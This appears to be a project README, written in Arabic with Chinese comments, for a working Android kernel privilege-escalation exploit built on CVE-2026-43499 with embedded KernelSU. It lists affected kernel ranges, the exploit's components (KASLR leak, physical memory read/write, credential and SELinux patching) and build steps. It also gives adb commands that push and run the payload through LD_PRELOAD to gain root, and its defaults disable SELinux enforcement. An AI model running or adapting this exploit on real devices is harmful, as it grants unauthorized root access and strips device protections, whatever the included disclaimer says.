
تكييف لرفع الصلاحيات محليًا استنادًا إلى ثغرة النواة CVE-2026-43499، مع تكامل KernelSU المدمج. CVE-2026-43499 + وضع كسر الحماية KernelSU
تكييف لرفع الامتيازات محليًا يعتمد على ثغرة النواة CVE-2026-43499، مع دمج KernelSU مضمّن. يُجمَّع ويُنتَج preload.so؛ وبعد نجاح الاستغلال، يُشغَّل KernelSU في وضع late-load (وضع الجيلبريك). يدعم توليد target.h من (xbl_config.img / vendor_boot.img) + boot.img.
تكييف لرفع الامتيازات محليًا يعتمد على ثغرة في النواة، مع دمج KernelSU مضمّن.
يُجمَّع ويُنتَج preload.so؛ وبعد نجاح الاستغلال، يُشغَّل KernelSU في وضع late-load (وضع الجيلبريك).
يدعم توليد target.h من (xbl_config.img / vendor_boot.img) + boot.img. أو بطرق أخرى.
المشاريع المرجعية:
[!IMPORTANT] الاستغلال غير المصرّح به للثغرات لإلحاق الضرر بأنظمة الحاسوب أو اختراقها أو الوصول إليها محظور قانونًا. يُقدَّم هذا المشروع لأغراض البحث والتعليم والتعلّم فقط، ولا يجوز استخدامه إلا في الأنظمة والبيئات التي حصلت على إذن مسبق. أي استخدام لهذا المشروع يتم على مسؤولية المستخدم الخاصة. لا يتحمل المؤلفون والمساهمون أي مسؤولية عن أي إساءة استخدام لهذا المشروع أو عن أي أضرار أو خسائر أو عواقب قانونية ناتجة عن استخدامه.
إخلاء مسؤولية: الاستغلال غير المصرّح به للثغرات لتنفيذ أعمال تخريب أو اختراق أو وصول غير مصرّح به لأنظمة الحاسوب قد ينتهك القوانين واللوائح ذات الصلة. هذا المشروع مخصّص فقط للبحث والدراسة والاختبار الأمني في الأنظمة والبيئات المرخّصة قانونًا. أي خسائر مباشرة أو غير مباشرة أو مسؤولية قانونية أو عواقب أخرى ناتجة عن استخدام هذا المشروع أو إساءة استخدامه أو تعديله يتحملها المستخدم وحده، ولا يتحمل مؤلفو المشروع والمساهمون فيه أي مسؤولية.
عندما يكون إصدار نواتك {Linux Kernel}، فأنت ضمن نطاق تأثير هذه الثغرة
Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349
2.6.39 <= {Linux Kernel} < 6.1.175
6.2 <= {Linux Kernel} < 6.6.140
6.7 <= {Linux Kernel} < 6.12.86
6.13 <= {Linux Kernel} < 6.18.27
6.19 <= {Linux Kernel} < 7.0.4
| Target | الحالة |
|---|---|
rodin (الافتراضي) | تم التحقق منه |
غيرها من src/targets/* | مرجعية |
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│ ├── generate_target.py # 本仓库统一 target.h 生成入口
│ └── vendor/ # 从父目录同步的原始生成辅助脚本
└── src/
├── main.c # exploit 主流程
├── preload.c # LD_PRELOAD constructor + ksud 写出/启动
├── root.c # cred/seccomp/SELinux/root patch
├── slide.c # pselect KASLR slide leak
├── fops.c # pselect/FOPS route
├── pipe.c # pipe-buffer phys R/W primitive
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # KernelSnitch helpers
└── targets/
├── rodin/
├── beryl/
└── ...
~/android-ndk-r29ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOTmakegitmake PROJECT=<target> -j$(nproc)
المخرجات:
build/<target>/bin/preload.so
make list-projects
يحتوي هذا المستودع على سكربت موحّد لتوليد target مدمج مسبقًا:
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
tools/generate_target.py هو سكربت نقطة الدخول. يستند إلى جميع عمليات توليد target في الدليل الأب ويغلّفها، ويُخرج في النهاية ملف src/targets/<project>/target.h كاملًا ومتوافقًا مع شيفرة هذا المستودع.
لا يفرض السكربت التحقق من CONFIG_DEBUG_INFO_BTF=y في IKCONFIG. إذا تعذّر التحقق من إزاحات حقول البنية أو تخطيط entry_task في percpu، فسيطبع تحذيرًا ويواصل التوليد.
إذا كانت الصورة تفتقر تمامًا إلى BTF قابل للاستخدام، مثل ظهور:
有效 vmlinux BTF 候选不唯一: []
سيدخل المولّد في وضع الاحتياط بدون BTF (no-BTF fallback):
boot.img الحالي؛rodin؛without BTF والقالب المستخدم؛يمكن تحديد قالب الاحتياط:
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
يُكتب افتراضيًا في:
src/targets/<project>/target.h
يمكنك أيضًا استدعاء السكربت مباشرةً:
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
يجب أن يحتوي profile.json على معلومات العناوين الفيزيائية، مثل:
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
لتوليد profile فقط:
make detect-profile PROFILE_OUT=profile.json
لاكتشاف profile وتوليد target فورًا:
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
يكشف السكربت أيضًا عن المداخل الأخرى التي يدعمها مولّد الدليل الأب:
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
شكل الإخراج عند النجاح:
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
يحتفظ rodin افتراضيًا بالقيم المُتحقَّق منها على أجهزة حقيقية:
#define MM_STRUCT_SZ 0x500
للتجاوز عن ذلك:
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
يُوصى بالتوليد من صورة boot وprofile متوافقين:
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
يحتوي ملف رأس (header) target كامل على:
PSELECT_WAITER_WORD_SHIFTMM_STRUCT_SZ ومعاملات ضبط KernelSnitchتحتوي الشيفرة المصدرية الحالية على قيم افتراضية مدمجة؛ للتشغيل العادي يكفي ضبط LD_PRELOAD وتنفيذ أي برنامج (يُقترح toybox id).
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
الإعدادات الافتراضية الحالية كما يلي:
السلوك الفعلي الافتراضي لأمر ksud:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
لا تزال هذه المتغيرات البيئية قابلة للتجاوز في وقت التشغيل، مثل:
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
إعادة استخدام ksud الذي سبق كتابته:
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
make clean
يحتفظ make clean بملف build/embed/ksud، لأن src/ksud_blob.S يضمّنه بالطريقة التالية:
.incbin "build/embed/ksud"
إذا أدى التنظيف اليدوي إلى فقدان build/embed/ksud، يمكنك استعادته:
git checkout -- build/embed/ksud
.incbin "build/embed/ksud"أعد البناء بعد استعادة الحمولة المدمجة:
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
success=0يتوقع rodin استخدام تخطيط pselect البسيط/القديم:
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
إذا كانت حالة الجهاز ملوثة بمحاولات فاشلة، أعد تشغيله ثم جرّب مجددًا:
adb reboot
F_SETPIPE_SZ يُرجع EPERMعادةً ما تكون مشكلة حالة ناتجة عن محاولات فاشلة/متبقية، وإعادة التشغيل هي أسرع طريقة للتنظيف:
adb reboot
ksud يعمل لكن /proc/modules لا يعرض KernelSUافحص السجلات:
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
عند الحاجة، شغّله يدويًا في root shell:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
GPL-3.0. انظر LICENSE.
| الإعداد | القيمة الافتراضية | الوصف |
|---|
KSUD_LATE_LOAD | 1 | تنفيذ ksud late-load |
KSUD_ALLOW_SHELL | 1 | تمرير --allow-shell |
KSUD_PACKAGE | me.weishu.kernelsu | اسم حزمة المدير المُمرَّر إلى ksud (يبدو غير فعّال) |
KSUD_DST | /data/local/tmp/ksud | مسار كتابة ksud المضمّن |
KSUD_SKIP_WRITE | 0 | كتابة ksud المضمّن افتراضيًا |
KSUD_DEFER_TO_PARENT | 1 | تشغيل ksud من مسار العملية الأب/الحالية المُعدَّلة (patched) |
ROOT_PATCH_SELF | 1 | تعديل (patch) العملية الحالية لتكون uid 0 |
DISABLE_SELINUX | 1 | عند root patch، كتابة حالة SELinux enforcing كـ permissive |
ROOT_EXIT_SLEEP | unset / 0 | لا sleep إضافي قبل العودة |